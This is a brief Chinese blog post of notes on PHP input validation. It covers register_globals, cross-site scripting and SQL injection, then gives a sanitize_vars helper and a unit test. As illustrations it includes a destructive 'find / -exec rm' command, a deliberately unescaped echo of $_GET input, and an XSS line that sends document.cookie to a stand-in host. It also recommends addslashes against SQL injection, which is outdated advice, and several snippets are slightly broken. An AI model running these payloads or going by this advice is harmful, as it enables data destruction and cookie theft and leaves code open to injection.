web 开发中通用问题(1)

本文介绍了几种关键的输入验证方法,包括关闭register_globals配置、防范跨站脚本攻击、使用addslashes防止SQL注入等。此外还涉及了如何验证输入类型,并提供了一个用于参数校验的辅助函数sanitize_vars的具体实现。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一,用户输入
要求验证所有的用户输入
1,register_globals -->Off

file_exists($module.'.php');

<?php 'find / -exec rm "{}" ";"'; ?>


2,跨站脚本

<?php echo $_GET['js']; ?>
document.location=http://www.ss/cookie.cgi?f='+document.cookie


3,SQL注入
addslashes()特殊字符串转义

4,验证输入
类型验证:
if(!isset($_GET['id']) { } else { $id = (int) $_GET['id']
====>helper function:

function sanitize_vars(&$vars,$signatures){
$tmp = array();
foreach($signatures as $name => $sig) {
if(!isset($vars[$name]) && isset($sig['required']) && $sig['required'])
{
$result = array(
'result' => false,
'cause' => 'parameter '.$name.' not present',
);
return $result;
}

$tmp[$name] = $vars[$name];
if (isset($sig['type'])) {
if(!settype($tmp[$name],$sig['type'])) {
$result = array(
'result' => false,
'cause' => 'parameter '.$name.' convert to '.$sig['type'].'failed',
);
return $result;
};
}

if(isset($sig['function'])) {
$tmp[$name] = $sig['function']($tmp[$name]);

}
}
$vars = $tmp;
$result = array(
'result' => true,
);
return $result;
}


对应测试用例
class TestOfSanize extends UnitTestCase {


function TestOfSanize() {
$this->UnitTestCase();
}

function testRequired() {
$sigs = array (
'id'=>array('required' =>true, 'type' => 'int')
);

$vars = array (
);
$r = sanitize_vars(&$vars,$sigs);
$this->assertFalse($r['result'],$r['cause']);
}
}
$test = &new TestOfSanize();
$test->run(new HtmlReporter());



5,HMAC
鉴定信息关键字散列
散列,代码。

6,异常
7,密码
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值